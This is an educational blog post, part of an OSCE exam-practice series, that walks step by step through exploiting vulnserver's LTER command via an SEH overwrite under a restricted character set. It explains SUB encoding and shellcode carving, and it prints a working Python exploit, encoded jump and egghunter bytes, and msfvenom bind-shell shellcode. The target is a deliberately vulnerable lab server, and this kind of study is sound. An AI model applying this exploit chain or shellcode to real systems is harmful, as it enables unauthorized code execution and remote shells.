Blog


OSCE Exam Practice - Part IX (LTER via SEH Overwrite w/ Restricted Character Set)

May 25, 2020 | 22 minutes read

Tags: osce, vulnserver, windbg, boofuzz, sub, encoder, opt_sub, carving, shellcode

Lab Environment

In case you’re missing anything listed above (excluding vulnserver), check out OSCE Exam Practice - Part I (Lab Setup).

DISCLAIMER: This series of posts is geared toward diving deeper on more modern tooling (boofuzz, windbg, mona, et al) as well as gaining proficiency/efficiency with exploit development. It’s not a guide for the how-to portion of writing a PoC (even though I step through things slowly, I don’t explain things to that level of detail). I assume if you’re here to look at OSCE practice examples, you probably don’t need the step-by-step instructions for every little thing. With all that said, I hope you find something useful!

Other posts in the series:


Introduction

Welcome to part nine in our OSCE exam practice series! In this installment, we’ll revisit vulnserver’s LTER command. This time, we’ll have to wriggle out of a tight corner and then do some encoding gymnastics to get our stage-2 to run.

We covered a few of this exploit’s obstacles in our previous post, so let’s recap what we still need to know before jumping in.

Images of addresses may have discrepencies throughout this post, because I wrote it over the course of a week or more. Don’t mind the actual addresses so much as their offsets. The offsets should remain the same, whereas base addresses can and will change.

LTER Recap

Fuzz Data

Here we have the test cases and fuzz data found previously.

109: "deadbeef" * 750
374: '"' * 4100
376: '"' * 4102
335: '"' * 32775
345: '"' * 100005
249: "<" * 20005
253: "<" * 100005
8: "\\*"

Payload Mangling

We’re dealing with a restricted character set of 0x01 through 0x80. The results of our bad character finding template are shown below.

lter-comp-results

0x01 through 0x7f make it through unharmed. Then, there’s effectively a modulo operation happening that keeps any bytes sent within that same range (with the exception of 0xff which gets transformed into 0x80)

Payload Encoding

The x86/alpha_mixed encoder (and others) shipped with Metasploit includes non-alphanumeric opcodes. We can use the BUFFERREGISTER variable to remove those opcodes, as long as we have a register that points directly to the start of our shellcode.

Building the PoC

Ok, we touched on the few relevant pieces of information from part eight; let’s begin!

Initial Crash PoC

Increasing our fuzz value length from ~3000 to 4000 is enough to trigger the Structured Exception Handler.

 1import struct
 2import socket
 3
 4VULNSRVR_CMD = b"LTER "  # change me
 5CRASH_LEN = 4005  # change me
 6
 7target = ("127.0.0.1", 9999)  # vulnserver
 8
 9payload = VULNSRVR_CMD
10payload += b"\xde\xad\xbe\xef" * (CRASH_LEN // 4)
11
12with socket.create_connection(target) as sock:
13    sock.recv(512)  # Welcome to Vulnerable Server! ... 
14
15    sent = sock.send(payload)
16    print(f"sent {sent} bytes")

After throwing the exploit, we’re presented with the information below.

lter-exchain-initial

lter-ecx-initial

We can see that we’re dealing with an SEH overwrite. Additionally, we see the same mangling discussed in part eight and reviewed above.

Determine the Offset

Similar to part eight, we’ll prepend \xde\xad\xbe\xef to our cyclic pattern in order to find our offset.

9-------------8<-------------
10payload = VULNSRVR_CMD
11payload += b"\xde\xad\xbe\xef"
12payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7A..."
13-------------8<-------------

Huzzah, a crash!

lter-offset-crash

mona.py suggest

Let’s allow mona to do some of the heavy lifting. This time around, we know that we’ll need an ascii-compliant pop-pop-ret gadget, so we can use the -cp ascii filter.

!py mona suggest -t tcpclient:9999 -cp ascii
════════════════════════════════════════════

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py suggest -t tcpclient:9999 -cp ascii
-------------8<-------------
[+] Examining SEH chain
    SEH record (nseh field) at 0x018bffc4 overwritten with normal pattern : 0x326e4531 (offset 3515), followed by 52 bytes of cyclic data after the handler
-------------8<-------------
            'Targets'        =>
                [
                    [ '<fill in the OS/app version here>',
                        {
                            'Ret'         =>    0x6250120b, # pop ecx # pop ecx # ret    - essfunc.dll
                            'Offset'    =>    3515
                        }
                    ],
                ],
-------------8<-------------

Nice! We now know the following:

  • Offset: 3515
  • pop-pop-ret Gadget: 0x6250120b
  • Space After Overwrite: 52 bytes

Confirming the Offset

Using the information gained from mona’s suggest command, we can update our find-offset template again to confirm the overwrite’s location.

 9-------------8<-------------
10payload = VULNSRVR_CMD
11payload += b"\xde\xad\xbe\xef"
12# payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9..."
13
14# Then use the structure below to confirm the offset
15payload += b"A" * OFFSET
16payload += b"B" * 4  # nSEH
17payload += b"C" * 4  # SEH
18payload += b"D" * (CRASH_LEN - len(payload))
19-------------8<-------------

lter-confirm-overwrite

Nice! We’ve got our offsets in place.

Double Jump (nSEH)

We’re ready to take our jump backwards into our buffer, however we have another problem. Normally we’d use an unconditional jump, such as the one below.

payload += "\xeb\x80\x90\x90"

Unfortunately, \xeb will get mangled into some other byte. We need a way to jump, without using \xeb. If we take a look at conditional jumps using this quick reference, we see that all of the short jump opcodes are within our allowable range with the exception of one. Let’s focus on JO/JNO which are instructions to jump if the overflow flag is set or unset, respectively.

It’s natural to wonder how we’ll know if the flag is set or not, i.e. which condition we should use. Well, we’re going to stack the deck in our favor and use both! We have four bytes to work with, so we can fit two conditional short jumps in that space; neat right?

Our conditionals in pseudocode look like what is shown below. If the flag is set, we’ll jump and never evaluate the second condition. If the flag isn’t set, the first condition’s code block won’t execute and we’ll fall through to the second, where we’ll jump.

if (flag_is_set)
{
    jump -128 bytes
}
if (flag_is_not_set)
{
    jump -128 bytes
}

Once we update our PoC and run it, we see the assembly below.

lter-double-jump

If we step twice (the overflow flag is not set), we jump backwards into our attacker-controlled buffer; nice!

lter-step-twice

Second Negative Jump

Now that we have a little breathing room, we need to create some more. We ultimately want to jump back far enough to insert an encoded egghunter. The encoding process (discussed below) increases the egghunter’s size significantly. Additionally, we’ll be inserting the unencoded payload directly in line with our execution flow, so we’ll need room for both the encoded and unencoded payloads.

Before we create the shellcode for our second negative jump, we need to detour off into the land of manual encoding using SUB instructions. Once the theory is covered, we’ll look at some tooling available to automate the process. We’ll use two different automated tools; one for the second negative jump and another for the egghunter.

Manually Encoding Shellcode

In order to get our egghunter executed, we’ll be using a technique called Shellcode Carving in conjunction with SUB Encoding. I highly recommend reading Carving Shellcode Using Restrictive Character Sets by vellosec; it’s the best resource I was able to find when learning how this all worked.

Below, we’ll cover enough to know what’s happening, but vellosec’s post goes into greater detail and should be considered a must-read if this is new material for you.

Let’s run through the high-level steps we’ll take to encode our payload.

Steps to Manually Encode the Shellcode

  1. Take the shellcode and break it down into 4 byte chunks; if any chunk isn’t 4 bytes long pad it with NOPs
  2. Reverse the order of the bytes
  3. Get 2’s Complement of the chunk
  4. For each byte from Least Significant to Most Significant, find a combination of 2-3 valid characters that when subtracted from the current byte, equal 0

The resulting 2-3 SUB instructions are essentially the encoded form of the original 4-byte chunk.

Example

We’ll work through the same example bytes that vellosec used, as they’re the first bytes from our egghunter that will get encoded. As a reminder, here’s the last four bytes of our egghunter.

"\x75\xe7\xff\xe7"

When we reverse those bytes, they end up looking like what’s below. We reverse the bytes because of how we plan to carve them into memory. We push each chunk onto the stack, so they need to be in reverse order to be executed properly.

"\xe7\xff\xe7\x75"

Two’s Complement

Next, we need to get the two’s complement of our chunk. There are a few ways to get the two’s complement; we’ll look at two of them.

One is some simple math in python.

>>> hex(0xffffffff - 0xe7ffe775 + 1)
'0x1800188b'

The other is using the windows calculator.

lter-calc-orig

The sign change key performs two’s complement on the displayed value.

lter-calc-after

The Math

So, the two’s complement of our chunk is 0x1800188b. This is the value from which we’ll start subtracting. Recall from our overview that we want to start from the Least Significant Byte (LSB). Also, let’s assume that we’ll use 3 SUB instructions for this chunk. Let’s begin.

Our LSB is 0x8b. We need to come up with 3 bytes that are valid characters (0x01 - 0x80) and when added together equal 0x8b. Vellosec chose 0x42, 0x42, and 0x07, and so will we!

>>> 0x8b == 0x42 + 0x42 + 0x07
True

Since 0x8b is our LSB, we have the beginnings of our SUB instructions (below).

sub eax, xxYYzz42

sub eax, XXyyZZ42

sub eax, xxYYzz07

Let’s go through the next byte, which is 0x18. The bytes we’ll choose to add up our new byte are 0x14, 0x02, and 0x02.

>>> 0x18 == 0x14 + 0x02 + 0x02
True

And another column in our SUB instructions fills in.

sub eax, xxYY1442

sub eax, XXyy0242

sub eax, xxYY0207

You’ve probably got the idea by now, but let’s proceed until this chunk is complete. Our next byte is 0x00… now what? We need to change 0x00 to 0x100, and then do the same steps. The bytes we’ll use to add up to 0x100 are 0x5e, 0x50, and 0x52.

>>> 0x100 == 0x5e + 0x50 + 0x52
True

The third column in our SUB instructions is complete; nice.

sub eax, xx5e1442

sub eax, XX500242

sub eax, xx520207

We have one more byte to calculate, 0x18. For this byte, we’ll use 0x15, 0x01 and 0x01.

>>> 0x18 == 0x15 + 0x01 + 0x01
False

Hol’ up, those values don’t add up to 0x18! However, because we had a 0x00 in the preceding column, there is an implicit 0x01 already in our values. What we actually have is more like this:

>>> 0x18 == 0x15 + 0x01 + 0x01 + 0x01
True

With those calculations complete, we have our 3 SUB instructions that when executed on a zero’d out register will place 0xe7ffe775 into that register.

sub eax, 0x155e1442

sub eax, 0x01500242

sub eax, 0x01520207

Below, we see the sub instructions in action on trusty old calc.exe. Notice that Hex and Dword are both selected. We start at zero, subtracting each value in turn to arrive at our desired instructions.

lter-sub-gif

Eye Candy

Even though vellosec’s coverage of this topic was easily the best I found, I still had difficulty initially with their choice of visual representation of the bytes and how they’re operated upon. I’m including the images below in the hopes that if what’s above isn’t clear, what’s below will be.

More of the same math

lter-sub-1-img

lter-sub-2-img

lter-sub-3-img

And a pretty chart!

lter-horiz-chart

Shellcode Carving

You thought our detour was over? Not yet! We still have to know how to get our manually encoded bytes to a place where they’ll be executed. With that goal in mind, we’ll look to shellcode carving.

Steps to Carve Shellcode

Shellcode carving in conjunction with our SUB encoded shellcode will allow us to execute instructions. Similar to our section on manual encoding, let’s take a look at the general steps. Afterwards, we’ll use our second negative jump as an example.

  1. Adjust the stack so that it sits at a location we’ll eventually “run into” during execution
  2. Zero out EAX
  3. Perform our previously determined SUB instructions on EAX, creating 4 bytes of our shellcode in EAX
  4. Push EAX onto the stack, where it will eventually be executed due to step 1
  5. Repeat steps 2-4 as necessary

It seems simple, but there are a few considerations that can easily trip us up. We’ll attempt to cover all the potential stumbling points as we go through the process.

Adjust the stack

First up, we need to adjust the stack. Recall that our starting location is the point at which we land after our short jump from nSEH.

The stack (ESP) currently points to 0x018beca4 and EIP points to 0x018bff48. We need to move ESP so that it points to ESP + 0x1310, which is EIP + 0x6c. To accomplish that, we’ll perform the following steps.

Store the value of ESP in EAX

push esp                    ; 54
pop eax                     ; 58

Adjust EAX so that it points to an address that we’ll eventually execute (done using 3 SUB instructions made up of valid exploit characters)

sub    eax,0x7f3e2c22       ; 2d 22 2c 3e 7f          
sub    eax,0x37626270       ; 2d 70 62 62 37          
sub    eax,0x495f5e5e       ; 2d 5e 5e 5f 49          

lter-stack-adjust-pretty

Store the adjusted value back into ESP, putting the top of the stack “in our way”

push eax                    ; 50
pop esp                     ; 5c

Here’s what that all looks like in windbg.

lter-stack-adjust-gif

Things to keep in mind when selecting an offset (aka, things I messed up at some point):

  • Allow enough room for your encoded shellcode + some wiggle room + your unencoded payload (they grow toward eachother)
  • Remember your offset is based on two different locations, ESP and EIP

Zeroize EAX

Ok, the stack is adjusted. Now what? Recall that our SUB instructions for putting our shellcode onto our new stack rely on the register being 0 before subtracting. That means we’ll need to zero out EAX before we can do anything else. There are many ways to zero out a register, but the number available to us is reduced based on what characters are allowed.

The common method is to use two AND instructions. As this is what you’re likely to see in tooling, we’ll examine this method. However, a combination of an AND and an XOR is conceptually simpler, in my opinion. So that’s another potential route.

In order to use 2 AND instructions to zero out a register, we need to understand what AND is doing. On the bit level, each bit in both operands is put through an AND function, with the result stored in the left operand.

lter-and-gate

All we need to do is select two 4-byte values that, on the binary level, don’t have a 1 in the same place as the other. We’ll use 0x41243050 and 0x2A4A4A2A.

When we convert them to binary (windows calc strikes again!), we can see that they don’t have any overlapping 1’s. Additionally, all the bytes are valid for our exploit.

0x41243050 - 1000001001001000011000001010000
0x2A4A4A2A - 0101010010010100100101000101010

Here are our instructions.

and eax, 0x41243050
and eax, 0x2a4a4a2a

This strategy works because regardless of the original value in EAX, after the first AND operation we’ll be left with either 0x41243050 or some other number. The special thing about any other resulting number is that it’s guaranteed to not have any 1’s in any of the places that 0x41243050 had 0’s.

Decode A Chunk

With a zeroed register, we can now use our SUB-based encoding method to get 4 bytes of our shellcode into EAX. We haven’t really discussed what we plan on doing, other than it’s a negative jump. In order to give ourselves enough room to work with, we’re going to jump backwards 0x250 bytes. Here are our instructions that will need to be encoded.

push esp                ; 54                       
pop eax                 ; 58                       
sub ax,0x250            ; 662D5002                 
jmp eax                 ; FFE0                     

Based on the steps above, we arrive at the following SUB instructions for our first 4-byte chunk of shellcode.

sub eax, 0x272a785a   ; 2d 5a 78 2a 27
sub eax, 0x27227b73   ; 2d 73 7b 22 27
sub eax, 0x21227b53   ; 2d 53 7b 22 21

Which will result in 0x909090e0 being stored in EAX.

lter-pretty-second-jump-sub

One could make the argument that we don’t need to encode anything in our second negative jump except the jmp eax, and they’d be right. However, we have plenty of space in the buffer and want to work through the process more than anything. This could absolutely be optimized for size.

Carve It In

Our last step is to push EAX onto the stack. Here’s what our first encoded chunk being carved looks like.

lter-second-neg-jump-gif-start

That’s it for carving really. The rest of it is the same process repeated over and over until the shellcode is all inline with your execution flow.

Building the PoC (cont.)

We made a detour to learn about manually encoding bytes and shellcode carving. Now we have enough theory under our belt to understand what the upcoming tools are doing for us! Let’s jump back into building our exploit code. Below is what we’d like our final exploit structure to be.

lter-exploit-structure

Second Negative Jump (again)

We left off with our second negative jump after encoding s single instruction + 3 NOPs. That’s because we’re not going to manually encode the entire jump; we’re going to let a tool do the work for us! The tool we’ll be using is the Automatic ASCII Shellcode Subtraction Encoder written by EAugustoAnalysis.

I can’t say that I’m super thrilled with the length of the name, but it’s certainly descriptive. More importantly, it’s very effective. We can feed it our shellcode and it will spit out SUB encoded instructions. Additionally, we can give it stack adjustment offsets and it will take care of that also! Let’s see what our stack adjustment and second negative jump look like by running the encoder.

python opt_encoder.py -s 54582d50020000ffe0 -p -m -e 0x018beca4,0x018bffb4
══════════════════════════════════════════════════════════════════════════

Automatic ASCII Shellcode Subtraction Encoder
Optimized Algorithm, SUB as few times as possible
Written by Elias Augusto                   
Based on BUGTREE's z3ncoder, a single address subtraction encoder                                            

-------------8<-------------

Shellcode length: 102
Shellcode Output:

scbuf ="\x25\x50\x30\x24\x41\x25\x2a\x4a\x4a\x2a\x54\x58\x2d\x22\x2c\x3e"
scbuf+="\x7f\x2d\x70\x62\x62\x37\x2d\x5e\x5e\x5f\x49\x50\x5C\x25\x50\x30"
scbuf+="\x24\x41\x25\x2a\x4a\x4a\x2a\x2d\x5a\x78\x2a\x27\x2d\x73\x7b\x22"
scbuf+="\x27\x2d\x53\x7b\x22\x21\x50\x25\x50\x30\x24\x41\x25\x2a\x4a\x4a"
scbuf+="\x2a\x2d\x72\x37\x6f\x27\x2d\x4a\x7f\x6f\x5f\x2d\x42\x49\x21\x7a"
scbuf+="\x50\x25\x50\x30\x24\x41\x25\x2a\x4a\x4a\x2a\x2d\x7f\x7f\x76\x30"
scbuf+="\x2d\x2d\x28\x5c\x7f\x50"

There we go, a freshly encoded stack adjustment and jump! Let’s add it to our payload.

 1# push esp	
 2# pop eax	
 3# sub eax,0x250
 4# jmp eax
 5# python opt_encoder.py -s 54582d50020000ffe0 -p -m -e 0x018beca4,0x018bffb4
 6# removed the first 2 AND instructions as push esp; pop eax doesn't need a zero'd eax register
 7# Shellcode length: 92
 8second_neg_jump  = b"\x54\x58\x2d\x22\x2c\x3e"
 9second_neg_jump += b"\x7f\x2d\x70\x62\x62\x37\x2d\x5e\x5e\x5f\x49\x50\x5C\x25\x50\x30"
10second_neg_jump += b"\x24\x41\x25\x2a\x4a\x4a\x2a\x2d\x5a\x78\x2a\x27\x2d\x73\x7b\x22"
11second_neg_jump += b"\x27\x2d\x53\x7b\x22\x21\x50\x25\x50\x30\x24\x41\x25\x2a\x4a\x4a"
12second_neg_jump += b"\x2a\x2d\x72\x37\x6f\x27\x2d\x4a\x7f\x6f\x5f\x2d\x42\x49\x21\x7a"
13second_neg_jump += b"\x50\x25\x50\x30\x24\x41\x25\x2a\x4a\x4a\x2a\x2d\x7f\x7f\x76\x30"
14second_neg_jump += b"\x2d\x2d\x28\x5c\x7f\x50"

After taking our second negative jump (nearly 600 bytes), we arrive at a location that is more than far away enough from the end of our buffer for us to insert an encoded egghunter.

lter-first-neg-land

Things to keep in mind when taking a jump (aka, things I messed up at some point):

  • After the jump happens, confirm in the debugger that your stack address mod 4 is equal to zero (0xSOME_ADDR % 4 == 0). A misaligned stack is akin to a gremlin making seemingly correct shellcode not work.

Egg Encoding w/ msfvenom

Now that we have the room, we need to encode our egghunter and carve it into memory. Instead of using the encoder we used for the second jump, we’re going to use msfvenom instead. There’s no real reason for the switch, other than to explore different tooling. Additionally, OJ Reeves (author of the sub_opt encoder we’ll use) wrote a SUB encoder that produces significantly smaller encoded shellcode than any of the other tools I tried. Let’s begin.

Binary Egg

To begin, we need an egghunter. More specifically, we need a binary egghunter. We can spin up mona for yet another egghunter snippet.

!py mona egg -t c0d3
════════════════════

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py egg -t c0d3
[+] Egg set to c0d3
[+] Generating traditional 32bit egghunter code
[+] Preparing output file 'egghunter.txt'
    - Creating working folder c:\monalogs\vulnserver_2020
    - Folder created
    - (Re)setting logfile c:\monalogs\vulnserver_2020\egghunter.txt
[+] Egghunter  (33 bytes): 
"\x41\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a"
"\x74\xef\xb8\x63\x30\x64\x33\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff"
"\xe7"

We need to write those bytes to a file as binary. The simplest way I know of is to use python.

>>> to_file  = b"\x41\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a"
>>> to_file += b"\x74\xef\xb8\x63\x30\x64\x33\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
>>> f = open('binary-egghunter.bin', 'wb')
>>> f.write(to_file)
33
>>> f.close()

With that complete, we can fire up 010 to confirm that everything looks correct.

lter-binary-egghunter

All looks well, let’s encode it!

opt_sub Encoder

In order to encode our egghunter, we’ll use the x86/opt_sub encoder. opt_sub is an optimized version of the SUB encoding process we discussed earlier. It will not reset EAX to zero unless absolutely necessary, which helps reduce the payload by 10 bytes for every 4-byte chunk.

Just like we did above, the opt_sub encoder will attempt to adjust the stack. Given a 33 byte payload (the egghunter), opt_sub placed ESP at ESP + 0xbd. Unfortunately for us, that address points off into The Upside Down.

lter-opt-sub-to-the-ether

Luckily, there’s a way to specify a desired offset! If we look at the source, we see that there are two variables we need to define in order to successfully encode our egghunter.

-------------8<-------------
OptString.new( 'ValidCharSet', [ false, "Specify a known set of valid chars (ALPHA, ALPHANUM, FILEPATH)" ]),
-------------8<-------------
# get the offset from the specified base register, or default to zero if not specifed
reg_offset = (datastore['BufferOffset'] || 0).to_i
-------------8<-------------

To select an offset, we simply need to leave enough room for our decoded egghunter and the encoded payload. It also needs to sit between where we landed after our second jump, and the instructions that performed said jump.

We currently sit at ESP - 0x250. Our second jump was 92 bytes, and decoded into 8 bytes. We left about 10 bytes of wiggle room in between the two, so as long as we place ESFP above ESP - 0x6e, we should be good to go.

lter-esp-150

Because we have so much room in between our two instruction sets at the moment, we can allow for much more slop than normal. We’ll use ESP - 0x129 as our offset.

0x129 was selected because the first value chosen caused the stack to be misaligned (not evenly divisible by 4)

The ValidCharSet variable is pretty simple to choose, as the 3 options are listed for us. For those curious about the different choices, here’s the relevant ruby.

  SET_ALPHA    = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
  SET_SYM      = '!@#$%^&*()_+\\-=[]{};\'":<>,.?/|~'
  SET_NUM      = '0123456789'
  SET_FILESYM  = '()_+-=\\/.,[]{}@!$%^&='

  CHAR_SET_ALPHA         = SET_ALPHA + SET_SYM
  CHAR_SET_ALPHANUM      = SET_ALPHA + SET_NUM + SET_SYM
  CHAR_SET_FILEPATH      = SET_ALPHA + SET_NUM + SET_FILESYM

With the two variables chosen, we’re free to finally encode!

There are two different ways to encode a file with msfvenom. We’ll use the generic/custom payload, however cat binary-file | msfvenom -e x86/sub_opt ... is also a valid method.

msfvenom -p generic/custom PAYLOADFILE=./binary-egghunter.bin -e x86/opt_sub VALIDCHARSET=ALPHANUM BUFFEROFFSET=-297 -f python -v encoded_egg --platform windows --arch x86
═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/opt_sub
x86/opt_sub succeeded with size 157 (iteration=0)
x86/opt_sub chosen with final size 157
Payload size: 157 bytes
Final size of python file: 932 bytes
encoded_egg =  b""
encoded_egg += b"\x54\x58\x2d\x2a\x7e\x7d\x7d\x2d\x21\x61\x61"
encoded_egg += b"\x61\x2d\x21\x21\x21\x21\x50\x5c\x25\x21\x21"
encoded_egg += b"\x21\x21\x25\x40\x40\x40\x40\x2d\x49\x7e\x7d"
encoded_egg += b"\x7e\x2d\x21\x79\x61\x78\x2d\x21\x21\x21\x21"
encoded_egg += b"\x50\x2d\x7e\x2f\x7e\x7e\x2d\x27\x21\x76\x7e"
encoded_egg += b"\x2d\x21\x21\x21\x3b\x50\x2d\x7e\x7e\x7e\x72"
encoded_egg += b"\x2d\x7e\x7e\x7e\x21\x2d\x4f\x45\x62\x21\x50"
encoded_egg += b"\x2d\x33\x38\x7e\x7e\x2d\x21\x21\x7e\x2a\x2d"
encoded_egg += b"\x21\x21\x2b\x21\x50\x2d\x71\x71\x7e\x79\x2d"
encoded_egg += b"\x21\x21\x6a\x21\x2d\x21\x21\x21\x21\x50\x2d"
encoded_egg += b"\x7e\x6a\x4a\x7e\x2d\x7e\x21\x21\x7e\x2d\x3e"
encoded_egg += b"\x21\x21\x49\x50\x2d\x7e\x7e\x38\x7e\x2d\x54"
encoded_egg += b"\x76\x21\x25\x2d\x21\x21\x21\x21\x50\x2d\x67"
encoded_egg += b"\x7e\x45\x28\x2d\x21\x21\x21\x21\x2d\x21\x21"
encoded_egg += b"\x21\x21\x50"

The command above produces the assembly below. We can see that the stack is adjusted then the payload is pushed onto the new stack; nice!

lter-opt-sub-encoded-egg

Things to keep in mind when using BUFFEROFFSET (aka, things I messed up at some point):

  • BUFFEROFFSET only takes decimal values. If you use an invalid value, it won’t warn you, it simply uses 0 (the default) and goes. I had to edit the source and add some print statements to figure out why my value wasn’t making it through.

Bind Shell Encoding

We’re almost done, we just need to encode our bind shell. If you missed our discussion about msfvenom’s x86/alpha_mixed encoder producing non-alphanumeric instructions, check it out in Part VIII - Payload Encoding.

The gist of it is this: we need to specify a register that points to our bind shell. Fortunately for us, the last instruction of our egghunter is jmp edi. As long as our egg is found, EDI is guaranteed to point at our shellcode. Knowing that, we can use the following command for encoding.

msfvenom -p windows/shell_bind_tcp -e x86/alpha_mixed BUFFERREGISTER=edi LPORT=12345 EXITFUNC=thread -f python -v shellcode
═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload                                      
[-] No arch selected, selecting arch: x86 from the payload                                                                  
Found 1 compatible encoders                                                                                                 
Attempting to encode payload with 1 iterations of x86/alpha_mixed                                                           
x86/alpha_mixed succeeded with size 710 (iteration=0)                                                                       
x86/alpha_mixed chosen with final size 710                                                                                  
Payload size: 710 bytes
Final size of python file: 3962 bytes
shellcode =  b""
shellcode += b"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a"
shellcode += b"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51"
shellcode += b"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
-------------8<-------------

Final Payload Structure

With all of our instructions ready, we need to finalize our payload.

121second_jump_offset = 3391
122encoded_egg_offset = 2904
123cmd_offset = len(VULNSRVR_CMD) + len(b"\xde\xad\xbe\xef")
124
125payload = VULNSRVR_CMD
126payload += b"\xde\xad\xbe\xef"
127payload += b"c0d3c0d3"
128payload += shellcode
129payload += b"A" * (encoded_egg_offset - len(payload) + cmd_offset)
130payload += encoded_egg
131payload += b"B" * (second_jump_offset - len(payload) + cmd_offset)
132payload += second_neg_jump  
133payload += b"C" * (OFFSET - len(payload) + cmd_offset)
134payload += b"\x70\xff\x71\xff"  # nSEH
135payload += struct.pack("<I", 0x6250172b)  # SEH
136payload += b"D" * (CRASH_LEN - len(payload))

Getting a Shell

If all goes well when we throw the code above, we should see a listener on port 12345 open up.

nc -vn 127.0.0.1 12345
══════════════════════

(UNKNOWN) [127.0.0.1] 12345 (?) open
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
C:\Users\vagrant\Downloads\vulnserver-master> 

Outro

On encoders, both SUB encoding tools discussed are valid choices. I think there are two primary determining factors for selection. If size is a concern, you almost certainly want to use opt_sub. If you want something intuitive that “just works”, the Automatic Ascii encoder is probably the way to go. Automatic Ascii’s way of specifying the stack offset is much simpler than opt_sub, which makes it attractive from a usability perspective.

Thanks for taking the time to step through w/e content in this series you read! It’s my hope that these writeups help you in some way. I may do one more in this series, but I may not.

Additional Resources

  1. Intel x86 JUMP quick reference
  2. Carving Shellcode Using Restrictive Character Sets

comments powered by Disqus